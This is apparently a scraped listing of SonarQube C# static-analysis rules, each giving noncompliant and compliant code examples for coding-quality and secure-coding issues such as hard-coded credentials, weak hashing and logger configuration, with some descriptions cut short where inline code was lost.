There's no point in chaining multiple Instead, use Noncompliant Code Examplevar x = personList .OrderBy(person => person.Age) .OrderBy(person => person.Name) // Noncompliant .ToList(); // x is sorted by Name, not sub-sorted Compliant Solutionvar x = personList .OrderBy(person => person.Age) .ThenBy(person => person.Name) .ToList(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4019 |
When a method in a derived class has the same name as a method in the base class but with a signature that only differs by types that are weakly
derived (e.g. Noncompliant Code Exampleusing System; namespace MyLibrary { class Foo { internal void SomeMethod(string s1, string s2) { } } class Bar : Foo { internal void SomeMethod(string s1, object o2) { } // Noncompliant } } Compliant Solutionusing System; namespace MyLibrary { class Foo { internal void SomeMethod(string s1, string s2) { } } class Bar : Foo { internal void SomeOtherMethod(string s1, object o2) { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1301 |
When a Noncompliant Code Exampleswitch (variable) { case 0: doSomething(); break; default: doSomethingElse(); break; } var foo = variable switch { 0 => doSomething(), _ => doSomethingElse(), } Compliant Solutionif (variable == 0) { doSomething(); } else { doSomethingElse(); } var foo = variable == 0 ? doSomething() : doSomethingElse(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2996 |
When an object has a field annotated with Instead, allow such fields to be initialized to their default values or make the initialization lazy. Noncompliant Code Examplepublic class Foo { [ThreadStatic] public static object PerThreadObject = new object(); // Noncompliant. Will be null in all the threads except the first one. } Compliant Solutionpublic class Foo { [ThreadStatic] public static object _perThreadObject; public static object PerThreadObject { get { if (_perThreadObject == null) { _perThreadObject = new object(); } return _perThreadObject; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4018 |
The best way to determine the type of a generic method is by inference based on the type of argument that is passed to the method. This is not possible when a parameter type is missing from the argument list. Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { public void MyMethod<T>() // Noncompliant { } } } Compliant Solutionusing System; namespace MyLibrary { public class Foo { public void MyMethod<T>(T param) { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3963 |
When a Instead, inline initialization is highly recommended. Noncompliant Code Examplenamespace myLib { public class Foo { static int i; static string s; static Foo() // Noncompliant { i = 3; ResourceManager sm = new ResourceManager("strings", Assembly.GetExecutingAssembly()); s = sm.GetString("mystring"); } } } Compliant Solutionnamespace myLib { public class Foo { static int i =3; static string s = InitString(); static string InitString() { ResourceManager sm = new ResourceManager("strings", Assembly.GetExecutingAssembly()); return sm.GetString("mystring"); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3600 |
Adding Noncompliant Code Exampleclass Base { public virtual void Method(int[] numbers) { ... } } class Derived : Base { public override void Method(params int[] numbers) // Noncompliant, method can't be called with params syntax. { ... } } Compliant Solutionclass Base { public virtual void Method(int[] numbers) { ... } } class Derived : Base { public override void Method(int[] numbers) { ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2995 |
Using Noncompliant Code Examplepublic class MyClass { private MyStruct myStruct; public void DoSomething(MyStruct s1) { int a = 1; int b = 1; if (Object.ReferenceEquals(myStruct, s1)) // Noncompliant; this can never be true { // ... } else if (Object.ReferenceEquals(a,b)) // Noncompliant { // ... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefor (int i = 0; i < 42; i++){} // Empty on purpose or missing piece of code ? ExceptionsWhen a block contains a comment, this block is not considered to be empty. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S109 |
A magic number is a number that comes out of nowhere, and is directly used in a statement. Magic numbers are often used, for instance to limit the number of iterations of a loop, to test the value of a property, etc. Using magic numbers may seem obvious and straightforward when you're writing a piece of code, but they are much less obvious and straightforward at debugging time. That is why magic numbers must be demystified by first being assigned to clearly named variables before being used. -1, 0 and 1 are not considered magic numbers. Noncompliant Code Examplepublic static void DoSomething() { for(int i = 0; i < 4; i++) // Noncompliant, 4 is a magic number { ... } } Compliant Solutionprivate const int NUMBER_OF_CYCLES = 4; public static void DoSomething() { for(int i = 0; i < NUMBER_OF_CYCLES ; i++) //Compliant { ... } } ExceptionsThis rule doesn't raise an issue when the magic number is used as part of the |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S106 |
When logging a message there are several important requirements which must be fulfilled:
If a program directly writes to the standard outputs, there is absolutely no way to comply with those requirements. That's why defining and using a dedicated logger is highly recommended. Noncompliant Code Exampleprivate void DoSomething() { // ... Console.WriteLine("so far, so good..."); // Noncompliant // ... } ExceptionsThe following are ignored by this rule:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: public void doSomething(int param1, int param2, int param3, string param4, long param5) { ... } Compliant Solutionpublic void doSomething(int param1, int param2, int param3, string param4) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2183 |
Shifting an integral number by 0 is equivalent to doing nothing but makes the code confusing for maintainers. If the first operand is an Note that integral number with a less than 32-bit quantity (e.g. If the first operand is a Noncompliant Code Examplepublic void Main() { short s = 1; short shortShift1 = (short)(s << 0); // Noncompliant short shortShift1 = (short)(s << 16); // Compliant as short will be cast to int (16 is between 0 and 31) short shortShift3 = (short)(s << 32); // Noncompliant, this is equivalent to shifting by 1 int i = 1; int intShift1 = i << 0; // Noncompliant int intShift2 = i << 32; // Noncompliant, this is equivalent to shifting by 1 long lg = 1; long longShift1 = lg << 0; // Noncompliant long longShift2 = lg << 64; // Noncompliant, this is equivalent to shifting by 1 } Compliant Solutionpublic void Main() { short s = 1; short shortShift1 = s; short shortShift1 = (short)(s << 16); short shortShift3 = (short)(s << 1); int i = 1; var intShift1 = i; var intShift2 = i << 1; long lg = 1; var longShift1 = lg; var longShift2 = lg << 1; } ExceptionsThis rule doesn't raise an issue when the shift by zero is obviously for cosmetic reasons:
bytes[loc+0] = (byte)(value >> 8); bytes[loc+1] = (byte)(value >> 0); See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4000 |
The Noncompliant Code Exampleusing System; namespace MyLibrary { public class MyClass { public IntPtr myPointer; // Noncompliant protected UIntPtr myOtherPointer; // Noncompliant } } Compliant Solutionusing System; namespace MyLibrary { public class MyClass { private IntPtr myPointer; protected readonly UIntPtr myOtherPointer; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2184 |
When division is performed on Noncompliant Code Examplestatic void Main() { decimal dec = 3/2; // Noncompliant Method(3/2); // Noncompliant } static void Method(float f) { } Compliant Solutionstatic void Main() { decimal dec = (decimal)3/2; Method(3.0F/2); } static void Method(float f) { } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S907 |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Examplepublic void SetName(string name) { name = name; } Compliant Solutionpublic void SetName(string name) { this.name = name; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3956 |
This rule raises an issue every time a
Noncompliant Code Examplenamespace Foo { public class Bar { public List<T> Method1(T arg) // Noncompliant { //... } } } Compliant Solutionnamespace Foo { public class Bar { public Collection<T> Method1(T arg) { //... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1659 |
Declaring multiple variable on one line is difficult to read. Noncompliant Code Exampleclass MyClass { private int a, b; // Noncompliant public void Method() { int c, d; // Noncompliant } } Compliant Solutionclass MyClass { private int a; private int b; public void Method() { int c; int d; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3717 |
This rule raises an exception when Noncompliant Code Examplevoid doTheThing() { throw new NotImplementedException(); } ExceptionsExceptions derived from |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4002 |
This rule raises an issue when a disposable type contains fields of the following types and does not implement a finalizer:
Noncompliant Code Exampleusing System; using System.Runtime.InteropServices; namespace MyLibrary { public class Foo : IDisposable // Noncompliant: Doesn't have a finalizer { private IntPtr myResource; private bool disposed = false; protected virtual void Dispose(bool disposing) { if (!disposed) { // Dispose of resources held by this instance. FreeResource(myResource); disposed = true; // Suppress finalization of this disposed instance. if (disposing) { GC.SuppressFinalize(this); } } } public void Dispose() { Dispose(true); } } } Compliant Solutionusing System; using System.Runtime.InteropServices; namespace MyLibrary { public class Foo : IDisposable { private IntPtr myResource; private bool disposed = false; protected virtual void Dispose(bool disposing) { if (!disposed) { // Dispose of resources held by this instance. FreeResource(myResource); disposed = true; // Suppress finalization of this disposed instance. if (disposing) { GC.SuppressFinalize(this); } } } ~Foo() { Dispose(false); } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3397 |
This rule raises an issue if Noncompliant Code Exampleclass Base { private int baseField; public override bool Equals(object other) { if (base.Equals(other)) // Okay; base is object { return true; } return this.baseField == ((Base)other).baseField; } } class Derived : Base { private int derivedField; public override bool Equals(object other) { if (base.Equals(other)) // Noncompliant { return true; } return this.derivedField == ((Derived)other).derivedField; } } Compliant Solutionclass Base { private int baseField; public override bool Equals(object other) { if (object.ReferenceEquals(this, other)) // base.Equals is okay here, but object.ReferenceEquals is better { return true; } return this.baseField == ((Base)other).baseField; } } class Derived : Base { private int derivedField; public override bool Equals(object other) { if (object.ReferenceEquals(this, other)) { return true; } return base.Equals(other) && this.derivedField == ((Derived)other).derivedField; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2187 |
There's no point in having a test class without any test methods.This could lead a maintainer to assume a class is covered by tests even though it is not. Supported test frameworks are This rule will raise an issue when any of these conditions are met:
Noncompliant Code Example[TestFixture] public class SomeClassTest { } // Noncompliant - no test [TestClass] public class SomeOtherClassTest { } // Noncompliant - no test Compliant Solution[TestFixture] public class SomeClassTest { [Test] public void SomeMethodShouldReturnTrue() { } } [TestClass] public class SomeOtherClassTest { [TestMethod] public void SomeMethodShouldReturnTrue() { } } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4487 |
Private fields only used to store values without reading them later is a case of dead store. So changing the value of such field is useless and most probably indicates a serious error in the code. Noncompliant Code Examplepublic class Rectangle { private readonly int length; private readonly int width; // width is written but never read public Rectangle(int length, int width) { this.length = length; this.width = width; } public int Surface { get { return length * length; } } } Compliant Solutionpublic class Rectangle { private readonly int length; private readonly int width; public Rectangle(int length, int width) { this.length = length; this.width= width; } public int Surface { get { return length * width; } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S112 |
Throwing such general exceptions as Noncompliant Code Examplepublic void DoSomething(object obj) { if (obj == null) { throw new NullReferenceException("obj"); // Noncompliant } // ... } Compliant Solutionpublic void DoSomething(object obj) { if (obj == null) { throw new ArgumentNullException("obj"); } // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4004 |
A writable collection property can be replaced by a completely different collection. Making it This rule raises an issue when an externally visible writable property is of a type that implements Noncompliant Code Exampleusing System; using System.Collections; namespace MyLibrary { public class Foo { List<string> strings; public List<string> SomeStrings { get { return strings; } set { strings = value; } // Noncompliant } } } Compliant Solutionusing System; using System.Collections; namespace MyLibrary { public class Foo { List<string> strings; public readonly List<string> SomeStrings { get { return strings; } } } } ExceptionsThis rule does not raise issues for
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplestring username = "admin"; string password = "Admin123"; // Sensitive string usernamePassword = "user=admin&password=Admin123"; // Sensitive string url = "scheme://user:Admin123@domain.com"; // Sensitive Compliant Solutionstring username = "admin"; string password = GetEncryptedPassword(); string usernamePassword = string.Format("user={0}&password={1}", GetEncryptedUsername(), GetEncryptedPassword()); string url = $"scheme://{username}:{password}@domain.com"; string url2 = "http://guest:guest@domain.com"; // Compliant const string Password_Property = "custom.password"; // Compliant Exceptions
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S110 |
Inheritance is certainly one of the most valuable concepts in object-oriented programming. It's a way to compartmentalize and reuse code by creating collections of attributes and behaviors called classes which can be based on previously created classes. But abusing this concept by creating a deep inheritance tree can lead to very complex and unmaintainable source code. Most of the time a too deep inheritance tree is due to bad object oriented design which has led to systematically use 'inheritance' when for instance 'composition' would suit better. This rule raises an issue when the inheritance tree, starting from |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4005 |
String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The This rule raises an issue when a called method has a string parameter with a name containing "uri", "Uri", "urn", "Urn", "url" or "Url" and the
declaring type contains a corresponding overload that takes a When there is a choice between two overloads that differ only regarding the representation of a URI, the user should choose the overload that takes
a Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { public void FetchResource(string uriString) { } public void FetchResource(Uri uri) { } public string ReadResource(string uriString, string name, bool isLocal) { } public string ReadResource(Uri uri, string name, bool isLocal) { } public void Main() { FetchResource("http://www.mysite.com"); // Noncompliant ReadResource("http://www.mysite.com", "foo-resource", true); // Noncompliant } } } Compliant Solutionusing System; namespace MyLibrary { public class Foo { public void FetchResource(string uriString) { } public void FetchResource(Uri uri) { } public string ReadResource(string uriString, string name, bool isLocal) { } public string ReadResource(Uri uri, string name, bool isLocal) { } public void Main() { FetchResource(new Uri("http://www.mysite.com")); ReadResource(new Uri("http://www.mysite.com"), "foo-resource", true); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2743 |
A static field in a generic type is not shared among instances of different closed constructed types, thus
If you need to have a static field shared among instances with different generic arguments, define a non-generic base class to store your static members, then set your generic type to inherit from the base class. Noncompliant Code Examplepublic class LengthLimitedSingletonCollection<T> where T : new() { protected const int MaxAllowedLength = 5; protected static Dictionary<Type, object> instances = new Dictionary<Type, object>(); // Noncompliant public static T GetInstance() { object instance; if (!instances.TryGetValue(typeof(T), out instance)) { if (instances.Count >= MaxAllowedLength) { throw new Exception(); } instance = new T(); instances.Add(typeof(T), instance); } return (T)instance; } } Compliant Solutionpublic class SingletonCollectionBase { protected static Dictionary<Type, object> instances = new Dictionary<Type, object>(); } public class LengthLimitedSingletonCollection<T> : SingletonCollectionBase where T : new() { protected const int MaxAllowedLength = 5; public static T GetInstance() { object instance; if (!instances.TryGetValue(typeof(T), out instance)) { if (instances.Count >= MaxAllowedLength) { throw new Exception(); } instance = new T(); instances.Add(typeof(T), instance); } return (T)instance; } } ExceptionsIf the static field or property uses a type parameter, then the developer is assumed to understand that the static member is not shared among the closed constructed types. public class Cache<T> { private static Dictionary<string, T> CacheDictionary { get; set; } // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4792 |
Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities: Logs are useful before, during and after a security incident.
Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged. This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:
Sensitive Code Example.Net Core: configure programmatically using System; using System.Collections; using System.Collections.Generic; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Options; using Microsoft.AspNetCore; namespace MvcApp { public class ProgramLogging { public static IWebHostBuilder CreateWebHostBuilder(string[] args) => WebHost.CreateDefaultBuilder(args) .ConfigureLogging((hostingContext, logging) => // Sensitive { // ... }) .UseStartup<StartupLogging>(); } public class StartupLogging { public void ConfigureServices(IServiceCollection services) { services.AddLogging(logging => // Sensitive { // ... }); } public void Configure(IApplicationBuilder app, IHostingEnvironment env, ILoggerFactory loggerFactory) { IConfiguration config = null; LogLevel level = LogLevel.Critical; Boolean includeScopes = false; Func<string,Microsoft.Extensions.Logging.LogLevel,bool> filter = null; Microsoft.Extensions.Logging.Console.IConsoleLoggerSettings consoleSettings = null; Microsoft.Extensions.Logging.AzureAppServices.AzureAppServicesDiagnosticsSettings azureSettings = null; Microsoft.Extensions.Logging.EventLog.EventLogSettings eventLogSettings = null; // An issue will be raised for each call to an ILoggerFactory extension methods adding loggers. loggerFactory.AddAzureWebAppDiagnostics(); // Sensitive loggerFactory.AddAzureWebAppDiagnostics(azureSettings); // Sensitive loggerFactory.AddConsole(); // Sensitive loggerFactory.AddConsole(level); // Sensitive loggerFactory.AddConsole(level, includeScopes); // Sensitive loggerFactory.AddConsole(filter); // Sensitive loggerFactory.AddConsole(filter, includeScopes); // Sensitive loggerFactory.AddConsole(config); // Sensitive loggerFactory.AddConsole(consoleSettings); // Sensitive loggerFactory.AddDebug(); // Sensitive loggerFactory.AddDebug(level); // Sensitive loggerFactory.AddDebug(filter); // Sensitive loggerFactory.AddEventLog(); // Sensitive loggerFactory.AddEventLog(eventLogSettings); // Sensitive loggerFactory.AddEventLog(level); // Sensitive loggerFactory.AddEventSourceLogger(); // Sensitive IEnumerable<ILoggerProvider> providers = null; LoggerFilterOptions filterOptions1 = null; IOptionsMonitor<LoggerFilterOptions> filterOptions2 = null; LoggerFactory factory = new LoggerFactory(); // Sensitive new LoggerFactory(providers); // Sensitive new LoggerFactory(providers, filterOptions1); // Sensitive new LoggerFactory(providers, filterOptions2); // Sensitive } } } Log4Net using System; using System.IO; using System.Xml; using log4net.Appender; using log4net.Config; using log4net.Repository; namespace Logging { class Log4netLogging { void Foo(ILoggerRepository repository, XmlElement element, FileInfo configFile, Uri configUri, Stream configStream, IAppender appender, params IAppender[] appenders) { log4net.Config.XmlConfigurator.Configure(repository); // Sensitive log4net.Config.XmlConfigurator.Configure(repository, element); // Sensitive log4net.Config.XmlConfigurator.Configure(repository, configFile); // Sensitive log4net.Config.XmlConfigurator.Configure(repository, configUri); // Sensitive log4net.Config.XmlConfigurator.Configure(repository, configStream); // Sensitive log4net.Config.XmlConfigurator.ConfigureAndWatch(repository, configFile); // Sensitive log4net.Config.DOMConfigurator.Configure(); // Sensitive log4net.Config.DOMConfigurator.Configure(repository); // Sensitive log4net.Config.DOMConfigurator.Configure(element); // Sensitive log4net.Config.DOMConfigurator.Configure(repository, element); // Sensitive log4net.Config.DOMConfigurator.Configure(configFile); // Sensitive log4net.Config.DOMConfigurator.Configure(repository, configFile); // Sensitive log4net.Config.DOMConfigurator.Configure(configStream); // Sensitive log4net.Config.DOMConfigurator.Configure(repository, configStream); // Sensitive log4net.Config.DOMConfigurator.ConfigureAndWatch(configFile); // Sensitive log4net.Config.DOMConfigurator.ConfigureAndWatch(repository, configFile); // Sensitive log4net.Config.BasicConfigurator.Configure(); // Sensitive log4net.Config.BasicConfigurator.Configure(appender); // Sensitive log4net.Config.BasicConfigurator.Configure(appenders); // Sensitive log4net.Config.BasicConfigurator.Configure(repository); // Sensitive log4net.Config.BasicConfigurator.Configure(repository, appender); // Sensitive log4net.Config.BasicConfigurator.Configure(repository, appenders); // Sensitive } } } NLog: configure programmatically namespace Logging { class NLogLogging { void Foo(NLog.Config.LoggingConfiguration config) { NLog.LogManager.Configuration = config; // Sensitive, this changes the logging configuration. } } } Serilog namespace Logging { class SerilogLogging { void Foo() { new Serilog.LoggerConfiguration(); // Sensitive } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S138 |
A function that grows too large tends to aggregate too many responsibilities. Such functions inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks. Those smaller functions will not only be easier to understand, but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2251 |
A Noncompliant Code Examplepublic void DoSomething(string[] strings) { for (int i = 0; i < strings.Length; i--) // Noncompliant { string s = strings[i]; // IndexOutOfRangeException when i reaches -1 // do stuff } } Compliant Solutionpublic void DoSomething(string[] strings) { for (int i = 0; i < strings.Length; i++) { string s = strings[i]; // do stuff } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2372 |
Property getters should be simple operations that are always safe to call. If exceptions need to be thrown, it is best to convert the property to a method. It is valid to throw exceptions from indexed property getters and from property setters, which are not detected by this rule. Noncompliant Code Examplepublic int Foo { get { throw new Exception(); // Noncompliant } } Compliant Solutionpublic int Foo { get { return 42; } } ExceptionsNo issue is raised when the thrown exception derives from or is of type |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4790 |
Cryptographic hash algorithms such as Ask Yourself WhetherThe hashed value is used in a security context like:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSafer alternatives, such as Sensitive Code Examplevar hashProvider1 = new MD5CryptoServiceProvider(); // Sensitive var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("MD5"); // Sensitive var hashProvider3 = new SHA1Managed(); // Sensitive var hashProvider4 = HashAlgorithm.Create("SHA1"); // Sensitive Compliant Solutionvar hashProvider1 = new SHA256Managed(); // Compliant var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("SHA256Managed"); // Compliant var hashProvider3 = HashAlgorithm.Create("SHA256Managed"); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S818 |
Using upper case literal suffixes removes the potential ambiguity between "1" (digit 1) and "l" (letter el) for declaring literals. Noncompliant Code Exampleconst long b = 0l; // Noncompliant Compliant Solutionconst long b = 0L; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3900 |
A publicly accessible method can be called from anywhere, which means you should validate parameters to be within the expected constraints. In
general, checking against This rule raises an issue when a parameter of a publicly accessible method is not validated against Noncompliant Code Examplepublic class MyClass { private MyOtherClass other; public void Foo(MyOtherClass other) { this.other = other; // Compliant: other not being dereferenced } public void Bar(MyOtherClass other) { this.other = other.Clone(); // Noncompliant } protected void FooBar(MyOtherClass other) { this.other = other.Clone(); // Noncompliant } } Compliant Solutionpublic class MyClass { private MyOtherClass other; public void Foo(MyOtherClass other) { this.other = other; } public void Bar(MyOtherClass other) { if (other != null) { this.other = other.Clone(); } } protected void FooBar(MyOtherClass other) { if (other != null) { this.other = other.Clone(); } } } ExceptionsTo create a custom null validation method declare an attribute with name using System; public sealed class ValidatedNotNullAttribute : Attribute { } public static class Guard { public static void NotNull<T>([ValidatedNotNullAttribute] this T value, string name) where T : class { if (value == null) throw new ArgumentNullException(name); } } public static class Utils { public static string ToUpper(string value) { Guard.NotNull(value, nameof(value)); if (value == null) { return value.ToString(); } return value.ToUpper(); // Compliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2931 |
An - The class observes a field that is under the responsibility of another class. - The class owns the field, and is therefore responsible for calling In the second case, the safest way for the class to ensure Noncompliant Code Examplepublic class ResourceHolder // Noncompliant; doesn't implement IDisposable { private FileStream fs; // This member is never Disposed public void OpenResource(string path) { this.fs = new FileStream(path, FileMode.Open); // I create the FileStream, I'm owning it } public void CloseResource() { this.fs.Close(); } } Compliant Solutionpublic class ResourceHolder : IDisposable { private FileStream fs; public void OpenResource(string path) { this.fs = new FileStream(path, FileMode.Open); // I create the FileStream, I'm owning it } public void CloseResource() { this.fs.Close(); } public void Dispose() { this.fs.Dispose(); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3902 |
Using Note that Noncompliant Code Examplepublic class Example { public static void Main() { Assembly assem = Assembly.GetExecutingAssembly(); // Noncompliant Console.WriteLine("Assembly name: {0}", assem.FullName); } } Compliant Solutionpublic class Example { public static void Main() { Assembly assem = typeof(Example).Assembly; // Here we use the type of the current class Console.WriteLine("Assembly name: {0}", assem.FullName); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2934 |
